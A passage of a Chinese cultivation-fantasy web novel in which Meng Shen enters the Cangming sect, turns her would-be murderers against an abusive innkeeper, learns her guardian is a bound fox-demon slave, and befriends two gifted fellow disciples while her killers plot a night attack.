“师姐再见。”孟莘把令牌收好,对祝雁灵行了一礼,然后等着看许子墨的测试结果。 许子墨在祝雁灵那登记完毕,随后活动了下手腕,将手按上天石。 几乎是甫一接触,天石就开始震动,动静之大,是今日头一遭,再也没有人顾得上关注孟莘,毕竟花边消息再有趣,也没有以后要朝夕相伴的天才重要。 随着震动平息,天石缓缓浮现出六颗灿烂星辰。 许子墨懒洋洋收回手,状似淡定的表情下,却隐隐含着自矜,显然早就知道这结果。 “六星识海!竟然是六星识海!” “快禀报师父!咱们一定要抢在其他峰前面收人!” “今年竟然能收来两个六星识海的人,我们沧溟派难道要复兴了?” 孟莘抱着胳膊看着,原来在这个世界上,六星识海就已经算稀有了吗? 眼见许子墨已被沧溟派弟子围住,今天应该是不会得空,孟莘也就歇了打招呼的心思,朝他挥了挥手,便转身下了山。 * 等孟莘迈着疲惫的步伐走下山时,天色已经同昨日一样,华灯初上。 只是今日耳边却清净许多,与昨日大不相同。 那些嘲笑她的店家、捉弄她的小孩,今日都齐齐噤声,只因她腰间挂着的白玉令牌。 他们把家安在沧溟山下,依靠沧溟派的繁荣为生,是绝不会认错那令牌模样的。 那是沧溟派外门弟子的令牌! 他们惊疑不定地看着孟莘,心中有万般疑惑,可偏偏她再也不是那个孤苦无依的孱弱少女,而是沧溟派上的修士,这个世上修士为尊,他们哪里敢再对孟莘冒昧? 孟莘有意放任这种情绪在沉默中累积,她眼角的余光看到已经有人悄悄去茶馆方向去了。 她嘴角微不可查地一弯,就怕他们不去报信。 孟莘距离茶馆还有百步之远时,李岩已经携张之雁和其他跑堂等在门外了。 张之雁眼里不由自主地噙满了泪珠,感觉自己像做梦一样,如安竟然真的成了沧溟派外门弟子,那她昨晚说的那些,难道...... 李岩则浑身僵硬,该死的,这小妮子怎么会真的通过考核了呢?她不是个二星的废物软柿子吗?但哪怕是再不愿,他此时也只能装出一副笑呵呵的模样,毕竟他没胆子得罪修士。 李岩直接三步并作两步迎上来,一副亲热模样,“如安啊,你回来了?我早就跟之雁说过,这孩子根骨不凡,将来一定有大出息,果不其然,这就被沧溟山的仙君看中了!快进来,看看我们今晚为你准备了什么?” 孟莘躲过李岩的手,挽着张之雁的胳膊踏进去,只见里面清了场,店中央最大的圆桌上八珍玉食、炊金馔玉,确实堪称破费,她坦然拉着张之雁坐下,皮笑肉不笑地说:“那就多谢李叔破费了。” 李岩硬挤出笑容,“怎么说也是在我们店里长大的孩子,要去仙门学艺,庆祝庆祝怎么能说是破费呢,小何,把我准备好的东西拿来。” 跑堂哎了一声,麻溜地用紫檀木盘端着一个鼓鼓囊囊的荷包上来,李岩笑着把荷包推到孟莘面前,“这是李叔的一点心意,你上山总会用得着。” 孟莘毫不避讳地当场打开,差点没忍住笑了出来,这里面的银钱,堪堪也就够抵梁如安这些年被克扣的工钱而已,李岩此人,当真是吝啬得厉害。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她收下,面上照样淡淡地,“那就多谢李叔了。” 李岩心中一喜,以为孟莘这是接受了他的示好,端着酒拉开凳子,就准备坐下来再和孟莘拉近一下关系。 一筷子突然抵住了他的胳膊,李岩一愣,就看到孟莘微昂着头,鸦羽般的长睫下,不怒自威的警告神色明明白白映在眸子里,她笑着说,“李叔,既然是为我准备的接风宴,那想必是随我的喜好,我就想跟之雁姐单独聊聊天,不介意吧?” 李岩脸色一僵,硬着头皮,只能回答:“不介意不介意,你们吃就好。” 孟莘再次道了谢,转过头,特意换了新筷子,亲亲热热地给张之雁碗里夹菜,一边说着今日见闻,“之雁姐你知道吗,我今天认识了一位六星识海的朋友,他......” 李岩和跑堂们不能坐过去又不好直接离场,在其他桌坐着,只能喝茶掩盖尴尬,牙都要咬碎了。 张之雁这顿饭吃得如鲠在喉,她小心地觑了一眼李岩的神色,压低声音:“如安,你究竟是怎么想的?现在你还没开始修炼,惹恼了他可没好处。” 孟莘笑笑纠正:“之雁姐,叫我孟莘。” 张之雁顿了一下,才试探着改口,“莘莘?” 孟莘从善如流地答应了一声,却并没解释她的目的,而是叮嘱张之雁,“待会我上楼以后,之雁姐你记得灌醉李岩,他想干什么就让他干什么,别阻止也别怕,会没事的。” 张之雁神色复杂地看着孟莘,也不知道她这个妹妹昨天经历了什么,仿佛变了一个人似的,她明明年长孟莘许多,却下意识听从妹妹的安排。 不久之后,孟莘果然离席,自然也不是睡她那个小黑屋,而是被带去了楼上的雅间安置。 而李岩也不出孟莘所料,在她走后,关了店门,大为光火地在饭桌前一屁股坐下来,让张之雁一直给他倒酒。 灯笼把孟莘的影子打在窗纸上,她似乎是累极了,伸了个懒腰就吹熄灯笼睡下了。 李岩起先还知道顾忌孟莘,后来醉意上来,哪里还记得那些?一晚上被自己瞧不起的小妮子拿捏敲打,早憋了一肚子闷气,破口大骂,再后来,晕晕乎乎间,竟怒气冲冲跌跌撞撞地上了楼。 张之雁瞬间悬起了心,但想到孟莘的叮嘱,又掐着手指让自己冷静下来。 李岩摇摇晃晃的,混沌的视野中,唯有孟莘的房门清晰异常,“哼,小妮子,不过就是入了个外门,就敢拿乔骑在我头上撒野了,当我不知道吗?三星也就是个最低级的水平,废物就是废物,一辈子也不可能爬到内门去!我就是废了你又怎么样,一个外门弟子,沧溟派还能跟我算账不成?” 酒壮怂人胆,他直接扑进了孟莘的房间。 而他不知道的是,在后院中,有一高一矮两人也盯着二楼那个房间很久了,正是昨天害死梁如安的凶手。 “她熄灯有好一阵了,应该睡熟了,我们真要下手吗?她死了又复活,会不会有什么古怪?” “范师兄交代了,必须要在她进门前斩草除根,否则把那天的事捅出去,我们几个都吃不了兜着走!” “那......好!走吧!” 5. 第 5 章 孟莘房间内,李岩和高矮二人几乎是先后脚地闯进去。 扑鼻的酒气、粗重的气息、笨重的脚步,让高矮二人第一时间就意识到不对劲,想溜时,却被李岩缠住。 却说李岩没找着孟莘,反而撞见两个翻窗进来的男人,他眩晕的大脑根本无法思考,只剩下一个模模糊糊的念头,“好啊!这小妮子竟然在我的房子里勾引野男人!” 他一腔愤懑,抄起桌上的瓷瓶就砸了过去。 高矮二人一时不察,竟被凡人所伤,怒上心头,灵力覆盖拳头,狠狠揍了回去。 直到血腥气钻进鼻孔,两人才意识到自己做了什么,这可是青州城的闹市啊! 他们慌忙从后窗溜走,生怕多逗留一阵被人撞见。 至于倒在地上的李岩死没死,他们才不关心。 * “没死,”孟莘举着烛台查看完李岩情况,啧了一声,“命真大,虽然也断了几根骨头就是了。” 张之雁把李岩搬到床上,又交代跑堂去请大夫,根本消停不下来。 孟莘坐在凳子上,冷眼旁观张之雁忙活,几番压抑,最终还是一吐为快,“之雁姐,我说李岩是个畜生没问题吧?你不跑也就算了,还要照顾他,我真不明白,你图他什么?” 张之雁擦掉额角的汗,咬着唇踌躇片刻,“好吧,莘莘你现在也是能独当一面的大人了,我也不瞒着你了,跟我来。” 孟莘一头雾水地跟着张之雁走进一间偏僻无人的房间,她把烛台放到桌上,转身决定好好跟张之雁说清楚,“今天不管你跟我说什么我都——” 她的话头蓦然卡进了嗓子了,再也冒不出来了。 怎么会这样?那个梁如安记忆里干练优雅的之雁姐,怎么会长着一对火红的耳朵和尖利的爪子呢? “你,是不是被吓到了?”张之雁有些不安地撩了下头发,却碰到了毛绒绒的耳朵,她讪讪一笑,“看来连我自己,都不再习惯自己本来的样子了。” 也许是为了缓解尴尬,她自顾自地继续说:“我原身是红狐,小时候被拐到人界,成了妖奴,被李岩买下来,结了妖奴契约,我不能离开他,因为如果妖奴背叛主人,主人能通过契约让我去死;我也不能让他死,因为主人死了,我也会跟着死。” 张之雁说完,忐忑地想看孟莘反应,却见烛火摇晃间,少女垂着眼睑,出奇得沉默,唯独眉间那点红痣妖异张扬,一时间让张之雁感到非常陌生。 她没猜到那具身体里确实换了人,只是失落地哑了嗓子,“也是......我这种身份,你不能接受也在常理之中。” 然而让孟莘沉默的并非是她的身份,而是这种令人惊悚的巧合。 识海里猩红的星星和张之雁火红的耳朵;身为半妖的梁如安不能离开沧溟派一里内,身为妖奴的张之雁也恰巧不能离开沧溟山下的李岩;又偏偏是张之雁把梁如安捡回家,这些年的看顾,又是否是另一种隐晦的监视? 梁如安身上被封存的那些秘密,让孟莘不能不多想。 她脑中瞬息略过无数念头,但最终,她还是选择相信张之雁,因为只有这一点无法回避——没有张之雁,梁如安和孟莘都早就死了。 孟莘软了软嗓子,安抚张之雁,“我没有不接受,我只是在想,人族和妖族两相对立,怎么会拐卖妖来当做奴隶呢?” 张之雁苦笑了一下,“其实,妖族也会拐卖那种漂亮的人族少年少女当奴隶......也许,不管是什么种族,总是无法根除这种,喜欢把异族当玩物来观赏的劣根性吧。” 张之雁的妖奴契约让事情变得更复杂了,孟莘苦恼地皱了皱眉,明白了她今天差点酿成大错,她拉住张之雁的手,认真道:“对不起,之雁姐,我今天做事太冲动了,差点害死你,还好李岩没死,只是今天过后,他恐怕知道我和他没有转圜余地,会迁怒于你。” “也是我的错,是我没有早点告诉你,你想借刀杀人,这招用得真好,其实......在看到他没死时,我心里竟然觉得失望,我这才知道,原来我恨他已经恨到,哪怕我自己会死,也想看他死的地步了。”张之雁垂下眼睫,浓黑的阴影里,她的眼神透出一种绝望的死意。 “千万不要!”孟莘立刻喝止,她低头去找张之雁的眼睛,把张之雁的手攥得紧紧的,像是想把自己的情绪通过手掌传给张之雁似的。 “之雁姐,我知道你觉得痛苦,但他的命还配不上你用命去交换,我请你再等等我,现在的我还很弱小,但是早晚有一天,我一定把自由还给你,我发誓!” 狭小黑屋里红烛的光晕暖黄,却不敌少女炽热誓言半分。 那股温热的温度通过少女传染到张之雁身上,张之雁眼睫颤了颤,吸了下鼻子,面对少女急切的目光,终于轻轻点头,“好,我等你。” * 孟莘在辰时之前,告别了千叮万嘱的张之雁,赶到了山门前的丹墀,丹墀上已经聚齐四十来人。 出乎她意料的,她竟然看到了许子墨。 许子墨望见她,眼睛一亮,远远地挥了下手,从人群里挤到了她身边,“嗨孟莘,你昨天走得也太快了,咱两也算熟人了吧,也不等等我。” 孟莘忍不住挑眉,“我以为你会被当场收入内门,然后拜师学艺,你怎么会在这里?” “这你就有所不知了,”许子墨得意一笑,“拜师是何等重要的事!师傅人好不好相处、修为厉不厉害、人脉怎么样、会不会藏私、喜不喜欢磋磨徒弟,这学问大了去了,师傅又不能换,要是两眼一抹黑拜了师,最后发现师傅不好,可真是一辈子都毁了。” 上辈子全靠自学,没上过一天学的孟莘闻言沉默了,“来,你继续说。” “进了外门又不是一辈子都是外门,我打听清楚了,沧溟派在入门测验一个月后会举办一次门派考核,考核优异者,就可以拜入内门!” 孟莘懂了,“原来如此,所以你是想这个月先给自己挑个师傅?” 许子墨煞有介事地点点头,“不错不错,双向选择嘛,咱这种六星识海,又不怕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没人要!不过话说回来,听说这次有两个六星,另外那位也还没拜师,我们六星可真是心有灵犀啊。” 他说着,就四处张望起来,“也不知道另外那个六星是哪一位?” “是我。”身后忽传来一个声音。 孟莘和许子墨都吓了一大跳,一转头,竟没见到人影。 “我在这......”弱弱的声音从下方传来。 孟莘和许子墨低下头,这才看到一个还不到他们两肩膀高的少女,瓷娃娃般精致漂亮的小脸上充满哀怨,双手还抱着一柄跟她差不多宽高的巨剑。 “嘶,”孟莘盯着那把剑,舔了舔牙齿,好珍贵的材料,怎么就做成了这么个形状?她蠢蠢欲动的心真想把它融了。 许子墨同样被那柄巨剑震住了,“小妹妹,你就是那个六星?你才多大啊,怎么用这么重的剑?” 少女眼睛一眯,脸上的幽怨瞬间变为了激愤,她握住剑柄,双臂发力,那柄巨剑被她原地抡了一圈以后,竟然真被她举了起来,带起一阵大风,直对许子墨的面门,“去你的小妹妹,睁大你的狗眼给我好好看看!我十五了!十五了!!我会长高的!” 许子墨立刻举起双手,“是我眼拙是我眼拙,您不是小妹妹,您是我姐,您从今天起就是我亲姐,行了吧,姐姐?” 孟莘眼皮一抽,真想给许子墨的能屈能伸鼓个掌,不过她的余光已经看到祝雁灵在下山了,只好劝和这两位。 “你们两六星不打不相识,多有缘分啊,不如认识一下,我叫孟莘,不才,只是三星。” 少女气鼓鼓地看了许子墨一眼,终于还是放下了剑,只对着孟莘道:“我叫彭笑寒。” 许子墨装模作样给她们两作了个揖,“小生许子墨,见过两位姐姐。” 在彭笑寒再次把剑举起来之前,祝雁灵已经飞入丹墀,冷酷的目光扫过去,所有闹腾的小弟子们都纷纷夹紧了尾巴。 祝雁灵手指掐了个诀,她的声音瞬间送到了每个人耳边,“我叫祝雁灵,诸位从今日起,就是我沧溟派外门弟子,诸位的令牌就是以后行走于沧溟派的依凭,只要滴入一滴血,就可以和自己绑定。宗门贡献值、惩戒值都会记录在令牌内,只要注入灵力,就可以读取,另外宗门门规也在令牌内,师弟师妹们需谨记门规,以除魔卫道为己任,以......” 孟莘用手捂着悄悄打了个哈欠,她听得无聊,干脆接进令牌,打开沧溟派门规,一目十行地扫过,特意找到了有关伤害凡人的规定。 【无故伤害凡人,造成死亡者,废去修为,逐出宗门;造成重伤者,罚鞭刑一千,灵石一万;造成轻伤及以下者,罚鞭刑一百,灵石五千。】 啧,和她之前猜的一样,修士和凡人的生命果然是不对等的。 真按规定来,那些人渣无论如何都不能给梁如安偿命,更何况除了孟莘,没有人知道梁如安死了,捅出去也只能让那些凶手受到不痛不痒的惩罚。 孟莘下意识搓了下手指,果然还是得自己亲自动手才行啊。 6. 第 6 章 孟莘又查看了有关伤害同门的规定。 【无故伤害同门,造成死亡者,戒律堂处以死刑;造成重伤者,废修为一境,灵石三万;造成轻伤及以下者,罚鞭刑一千,灵石一万。】 啧,虽然她是报仇,但对其他人来说,确实是“无故”,看来她得小心点,不能被沧溟派发现了。 祝雁灵终于说完了入门教诲,“好了,请师弟师妹们随我来,我带你们看看沧溟山。” 孟莘收回令牌,本以为他们要走着去参观,没想到祝雁灵从袖中掏出一只纸鹤,在嘴边吹了口气,纸鹤瞬间膨起,宛如一艘巨轮。 祝雁灵飞身站上鹤头,在下面一群小崽子们震撼的目光中,淡定地说:“上来吧,我带你们认认路。” 许子墨眼睛都看直了,“我去!牛逼啊!我必须要知道祝师姐的师傅是谁!” 彭笑寒也呆呆地喃喃:“她好厉害。” 孟莘突然想起昨天祝雁灵被称作“大师姐”,这个大师姐......不会是指整个宗门的大师姐吧? 她再想到昨天自己在祝雁灵面前耍的小聪明,顿时有点汗颜......从现在开始表现好点还来得及吗? 在所有人都爬上纸鹤以后,祝雁灵轻松地驱使纸鹤直冲上天,承载了四十多人的重量,这纸鹤竟然轻盈如常。 众弟子都抱紧纸鹤,唯恐被摔下去,孟莘则顾不上担心这个,过了山门,前面就是沧溟派的结界,当年女妖似乎就是因为结界,没有上山,而是把她放在了沧溟山下,她这被封印的半妖血脉,不知道能不能骗过去呢? 碰到结界时,孟莘按在纸鹤上的手掌都是汗涔涔的,但最终还是有惊无险地过去了。 她松了口气,这才有心思俯瞰沧溟山。 只见云烟缭绕间,十座环绕主峰的奇崛山脉向他们展示了全貌。 祝雁灵介绍道:“我沧溟派以剑闻名天下,修行者众多,故一至五峰皆为剑峰,峰主皆是德高望重的剑修大师,拜入任何一峰,对你们的修行都大有裨益,其中第一峰峰主俞宏光是我沧溟派的掌门,也是我的授业恩师,诸位将来若能拜入第一峰,就是我的亲师弟师妹,还请诸位努力。” 小弟子们顿时叽叽喳喳,有兴致勃勃问祝雁灵具体情况的,也有悲叹掌门门下肯定进不去的。 彭笑寒眼睛一亮,“祝师姐这么厉害,那我跟着她拜第一峰准没错!” 许子墨嘴角下耷,“祝师姐这么厉害,怎么是个剑修啊,我可不喜欢用剑啊!” 孟莘对剑修毫无兴趣,若有所思地注视着第三峰的方向,三峰主正是梁峰清。 “师姐师姐,为什么第三峰一个人影都没有啊?”许子墨突然发问。 这问题一出,孟莘立刻感到祝雁灵的视线对准了自己,她抬起头直视祝雁灵,摊开手露出无辜眼神,这可不是她问的啊。 祝雁灵平静地解释:“第三峰峰主梁峰清师叔尚未收徒,并于十六年前闭关冲击渡劫期,尚未出关。” 许子墨对孟莘挤了挤眼睛,又问:“冲击渡劫期要这么久吗?” 孟莘不得不感慨许子墨真是人精,问的全是她想知道的问题。 祝雁灵严肃道:“不错,越到修炼后期,修行阻碍越大,目前全天下只有不到二十位渡劫期修士,我派仅有两位。当年我师傅渡劫期闭关时,花了整整三十年,凶险异常,万万不能受到干扰,自然也无法得知外界消息。” 最后一句话,显然是说给孟莘听的。这位大师姐,说着不信她和梁峰清是父女,但又不敢全然不信,真是有趣。 孟莘冲祝雁灵笑了笑,以示感谢。 祝雁灵有点不自在地撇开眼,继续介绍:“虽然我们沧溟派以剑修为主,但其他峰的峰主也都是化神境高手,实力不俗,第六峰鬼修、第七峰兽修、第八峰丹修、第九峰符修、第十峰器修。” 越往后排,各峰环绕的灵气就越稀薄,显然是在沧溟派内的地位越低,众弟子们都兴致缺缺。 唯有孟莘望向了第十峰。器修么,倒是和她原本的职业相近多了。 祝雁灵又指向山脉后边广袤无垠的森林,“后山这片魔兽森林,里面的魔兽是由第七峰兽修同门负责培育,一个月后你们内门考核的地点就在这里。” 在魔兽森林考核?孟·只搞设计·从不打架·莘突然有了点不妙的预感。 介绍完内门各峰,祝雁灵带大家回了主峰,指着最顶端的连绵殿宇和广阔的丹墀道:“这边是宗门议事厅和演武场,每五年一次宗门大比,就是在这里比。” 再一一带大家认过戒律堂、藏书楼、演武堂、药阁、讲堂等地,祝雁灵就准备带大家去看看宿舍了。 又是许子墨眼尖地看到一块被略过的院舍,举手提问:“师姐师姐,这儿是什么地方?” 彭笑寒吐槽:“你这人怎么事这么多?” 祝雁灵眉头一皱,仿佛遇到什么非常麻烦、麻烦到她连提都不想提的事情,“这儿是客院,正住着一位......身体不太好的客人,总之你们不要靠近这里就是了。” 孟莘挑了下眉,怎么感觉这个客人,绝对不简单呢? 恰逢此时,那神秘客院内,一只摇头晃脑的纸人从主屋的门缝里钻出来,像模像样地同祝雁灵拱手行了一礼,孩童般天真地说:“祝师姐,你怎么平白无故就不让人来我们院里做客,莫非是想闷死我家主人不成?” 祝雁灵嘴角一抽,不无讽刺地说:“你家主人今天倒是耳聪目明。” 纸人嘿嘿一笑,那空荡荡只开着一道缝的脸竟仿佛让人看到它窃笑的表情,“沧溟派钟灵毓秀,我家主人在这里感应天地,收获颇多,修为大为稳固,所以往后祝师姐要是再说我家主人坏话,可要小心不要被我家主人感应到了哦。” 祝雁灵淡淡地“哦”了一声,“你家主人如果不做什么亏心事,自然也不会有人在背地里说他坏话。” 语罢,她直接驱使纸鹤往外门宿舍飞去,不再同纸人纠缠,并且光明正大地对众弟子说:“你们看到了,这院里住的就是这样牙尖嘴利招人烦的家伙,没事别跑这里,免得被人算计了也不知道。” 间或有几个小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弟子好奇客院主人的身份,看到祝雁灵的神色便都通通憋了回去。 倒是许子墨故作高深地食指一晃,得意道:“我猜到这人身份了。” “哦?”孟莘竖起了耳朵,洗耳恭听。 “呵,我也猜到了,”彭笑寒立刻拆台。 “有本事你说!”许子墨不服。 彭笑寒飞去一个鄙视眼神,随即认真对孟莘解释道:“应该是天京鉴天楼的人,鉴天楼的人修行方式很特殊,他们不修识海,修的是精魂。修炼方式也很玄乎,说是体悟天道,所以鉴天楼的战力非常不稳定,精魂通天地时,他们甚至可以挑战化神期高手,不通天地时,他们可能连筑基期都打不赢。” “还有这种神一阵鬼一阵的修士啊?”孟莘对这个世界越来越好奇了,该说是不愧是修真世界吗?这个世界仿佛拥有各种各样的可能性,而在她原本的时代,所有人都被框定在机甲这个范畴中了。 “而你知道为什么祝师姐这么讨厌鉴天楼吗?”闲不住的许子墨见缝插针地挤进话题,“因为鉴天楼拥有监察天下的职权,虽然他们没本事替天行道,不过一旦鉴天楼公布哪个宗门的丑事,这个宗门在五境里的名声也就臭了。一个鉴天楼的人,没事呆在沧溟不走,你说他是来干嘛的?” “是啊,”彭笑寒难得附和许子墨,“以前......我听我父母提起过,鉴天楼尽管地位超然,但也算得上全天下最讨人厌的宗门了,他们能不能勘破天道谁也不知道,但借着监察天下,以权谋私倒是真的。” 二人你一言我一语地说起鉴天楼的种种不是,但在孟莘这里却起到了相反的作用。 鉴天楼是不是以权谋私和孟莘没关系,但是,沧溟山上一个地位特殊、可能不向着沧溟派的人,对她未来的打算,恐怕会有用处。 她牢牢记下了客院的位置,预备将来有机会探访一番。 纸鹤很快飞抵宿舍,祝雁灵把众弟子放下去,叮嘱道:“外门的宿舍两人一间,你们自己找人合住,待会记得换统一的制服去上课。另外,外门弟子还会被分配轮流在宗门内巡逻执勤,沧溟派这么大,你们又还不会御剑,执勤很是辛苦,所以希望你们上课时好好听讲,争取下个月就能进内门,知道了吗?” 小崽子们乖巧说了好,祝雁灵才放心离去。 众弟子们乌泱泱攒成一团,拉帮结伙好不热闹,许子墨和彭笑寒作为本届唯二的六星,更是众星捧月,但这一切都和孟莘无关。 考虑到自己的特殊情况,孟莘想挑个偏僻的房间,最好离其他人都很远,发出什么动静其他人听不到的。 她看中了一间,直接对着那团同门吆喝:“我想住这间,有人要一起的吗?” 不是所有人都像六星五星一样抢手的,几个三星小弟子有点意动,向她走过去,“要么我——” “呦,瞧瞧我看到了谁?这不是自称梁师叔血脉、明明是个二星却不知道用什么妖法混成三星、还连累数十位同门在戒律堂受了鞭刑的新师妹吗?” 一个连讥带讽的声音忽而在他们上方响起。 7. 第 7 章 孟莘抬头一看,只见几个穿蓝衣的外门弟子站在不远处的高地,抱着胳膊睥睨着她,其中有几人相当眼熟,就是昨日在丹墀被祝雁灵处罚的对象。 约莫是把仇记在了她身上,来找她的不痛快了。 孟莘看过了门规,知道光天化日这群弟子不可能出手伤到自己,因此并不慌张,就纯当看多口相声给自己解闷了。 她敷衍地点点头:“嗯嗯,是我,有什么话快点说。” 几位来找茬的师兄师姐:“......” 她怎么回事,怎么感觉今天刺激不到她,反而自己被刺激到了呢? 几人不是傻子,很快就明白只用言语是伤不到她了,面面相觑间,眼珠子一转,便又想出来了新损招。 他们干脆抛下孟莘,转向了新弟子们,脸上笑眯眯,语气里却有种隐晦的威胁:“诸位师弟师妹们,你们可看好了,这就是那个诋毁峰主名誉、害前辈受罚的梁如安,哦不,现在叫孟莘是吧?外门的师兄师姐们,可是对孟师妹的到来欢迎备至呢。” 那几个原想和孟莘同住的三星小弟子,犹豫了一下,便退回了人群里,其他人也都不安地戒备着孟莘。 他们都新入门,并不知晓原委,也不关心原委,但他们人微言轻地位低下,又哪里敢和孟莘交好,去惹得师兄师姐们不痛快呢? 孟莘无聊地都快打哈欠了,这群人段位好低,这都多大岁数了,还搞煽动孤立这一套。 偏偏师兄师姐们乐此不疲,挑衅地看着孟莘:“怎么办孟师妹,第一天入门就招同门讨厌了呢?” 还能怎么样,就她的特殊情况,她倒是乐得一个人住啊。 孟莘真想给他们翻个白眼,打算象征性敷衍几句,赶紧把这群毫无水平的相声演员送走,“嗯嗯,对对,既然大家都不喜欢我,那看来我只好、被迫、可怜地一个人住了呢。” 师兄师姐:“......” 糟了,本来想孤立她,怎么感觉奖励到她了呢? 大家被孟莘这做作的茶气纷纷熏到没眼看。 “谁说没有人?”却有人拖着重剑排众而出,瓷娃娃般精致的脸上是忍无可忍的气愤,彭笑寒怒视众人,用小巧的身躯把孟莘挡在身后,“你别怕,我和你一起住!” 众人:“......” 这孩子是完全不会读空气吗?看不出孟莘其实在暗爽吗? “哎呀哎呀,怎么冒出来这么一个憨货抢我的戏?看来我们六星确实是惺惺相惜啊,”许子墨摇摇头,笑着走到孟莘身边,眨了下眼,“虽然我没法跟你一起住,不过我们昨天就已经是朋友了不是吗?” 孟莘看着一左一右站在自己身边的彭笑寒和许子墨,无端想起上辈子她只跟殷如是勉强算半个朋友,却还在最后被背刺,怔忡间她轻声喃喃:“这一出,我也从没想过啊。” 这下,情形顿时完全不同了,本届唯二的两位六星,早已预定会成为宗门中流砥柱,竟然都选择站孟莘? 师兄师姐们忍不住出言提醒:“彭师妹、许师弟,你们可想清楚,她诋毁的可是三峰主梁峰清,等有朝一日梁师叔出关,进阶渡劫期,难道你们要为了她一个区区三星,得罪未来的渡劫期高手吗?” 许子墨圆滑一笑:“我想既然大家都说梁峰清师叔为人正派,那想来不会跟我们这些小辈计较。” 彭笑寒则直接多了,她微抬下巴,不掩傲气,“我辈修士,难道需要仰人鼻息来修炼吗?不过是渡劫期,难道我就晋不了吗?” 那可是渡劫期,目前已知的最高境界,在她嘴里竟然落得个“不过”二字? 可众人敢嘲笑她吗?自然不敢,那可是六星,是天下最有希望进阶渡劫的一批人。 这样的人为什么会和孟莘交好,她一个三星究竟凭什么? 师兄师姐们恨得牙痒痒,却只能丢下一句狠话愤愤离开,“孟莘,你别高兴太早!他二人天赋异禀早晚飞升高阶,而你一个区区三星,一辈子就是外门打杂弟子,进不了内门!我们走着瞧!” 带头的前辈走了,小弟子们翻不出风浪,纷纷作鸟兽散。 彭笑寒这才松下肩膀,转头查看孟莘情况,“这群人真是势利,你没被吓到吧?” 许子墨倒是笑,“昨天她都敢挑衅筑基期修士对她动手,今天这场面,能吓到她什么?” 孟莘当然不惧今天的事情,但这两人雪中送炭的心意却是真的熨帖,她收敛起脸上不正经的散漫,诚心诚意地对他们两拱手行了一礼,“多谢你们。” “没什么好谢的,”彭笑寒厌烦地看了一眼其他弟子,“我也不想跟势利鬼住在一起。” “而且别听他们瞎说什么一辈子都是外门,从昨天起我就觉得你胆色很不寻常,我赌你绝对进内门,”许子墨朝她竖了下大拇指,又补充道:“咱们三一起进内门。” * 宿舍内衣柜、桌子、床铺各两套,倒没什么特别,但孟莘特意走到窗边,打开窗棂探出身往外看了看。 他们的屋子在最边缘,靠树林最近,一棵高大的槐树把窗子完全覆盖在了阴影里,白天尚且有些阴暗,晚上恐怕一丝月光也透不过来了。 “孟莘,待会还要去讲堂听课,你在看什么?”彭笑寒叫她。 “这就来,”孟莘直起腰,笑了下,“只不过觉得这窗外风景,应该有人会喜欢。” 彭笑寒侧过身往孟莘身后一看,窗外只有幽静的森林和斑驳的树影,她实在不明白这景色好在哪里,不过还是谨慎决定赞同自己的舍友,“嗯......是挺好看的。” 两人换上沧溟派统一的蓝色衣裙,互相打量一下,都觉得有点违和。 彭笑寒指着孟莘眉间的红痣,“这蓝色和你的痣不是很相配。” 孟莘摸了摸鼻子,委婉道:“这个蓝色对你来说好像也有点过于成熟了。” 两人相视一笑,随后结伴就出发前往讲堂了。 相差一个头高的两位少女,已经毫不避讳地勾起了彼此胳膊,远远得还能听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到孟莘安慰彭笑寒的声音。 “没事,你可是六星识海的小天才,等你进内门,以后想穿什么穿什么。” 谁也没察觉,在这批新弟子走远后,从树林里闪出四道黑影,阴恻恻地盯着孟莘的背影。 这四人一高一矮一胖一瘦,除了被祝雁灵罚去禁闭室的范济,其他害死梁如安的人悉数到场,瘦子拍板:“既然我们已经知道她住哪了,为免夜长梦多,我们今晚就动手。” “可是,”矮个子犹豫道:“蒋师兄,和她同一间房的人可是个六星啊,如果贸然动手,被那六星发现,我们难道要连六星一起灭口吗?” “是啊,六星识海的弟子出事,只怕薛长老要扒了我们的皮。”胖子跟着打退堂鼓,“说不定是我们那天看错了,那个梁如安根本没死!” 呵,瘦子在心里狠狠啐了一口,真是群成事不足败事有余的废物!那天要不是这几个废物内讧,哪能让那女人轻易逃脱,甚至还落了水?今日遇到一点困难,又着急退缩,怎么不想想,放着孟莘不管,她找到了依凭,能放得过他们? 然而瘦子面上仍旧不得不维持体面,他从芥子囊中掏出一支香,笑呵呵对其他人介绍:“这是我从丹峰买来的迷香,对筑基期以下的人,只要不到十息,就可以让对方睡死过去,那个六星天赋再强又如何,现阶段照样只是个没筑基的凡人罢了。” “这香得要一百灵石吧。”一直没吭声的高个子咂舌道。 瘦子肉痛地点了点头,本还想着让其他人分摊一些,然而高个的下一句话却让他直接火冒三丈。 “有这种好东西,你昨天怎么不拿出来?早拿出来,我们昨天就成事了,哪生得出这么多波折?”高个子埋怨道。 “你还有脸说这种话!”瘦子再也忍不住,直接扑过去,和高个扭打在了一起。 矮个和胖子连忙劝架,争论许久,最后四人气喘吁吁又面色不善地约定好,今晚丑时就动手。 * 外门讲堂内,众弟子都领到了自己的书简,乖乖在位置上坐下。 一位鹤发老者慢悠悠走进来,捏着长须开始了外门课程:“老夫薛和泰,是外门的掌事长老,往后在外门,你们的经法课都由我来教授,今日你们方才入门,我也不讲那些高深的学问,只同你们讲一讲我们的历史。” 孟莘就坐在最后一排靠墙的角落,闻言立刻把讲史的那本书塞到了最下面,开始翻找其他书目。 “......却说人、妖、魔三分天下以后,我人族五境各选最德高望重的宗门来轮流镇守魔域,东境自然就是我们沧溟派,由三峰主梁峰清值守三十年,而南境不灭谷、西境万象宗、北境归一府、天京鉴天楼则只值守了不到......” 找到了!孟莘眼睛一亮,打开了那本《修真界符咒入门指南》。 她既然进了沧溟派,范济和他的党羽想必马上就会动手,只等她落单或是夜深人静的时刻,也就是说,她必须尽可能快的,让自己拥有保命的能力。 8. 第 8 章 孟莘想过了。 其他的诸如剑术入门、法术入门、丹药入门之类的东西,她绝不可能在短期内学到多少真本事,她唯一能依仗的,只有她原本就有经验的铭文,也即在这个世界里的符咒。 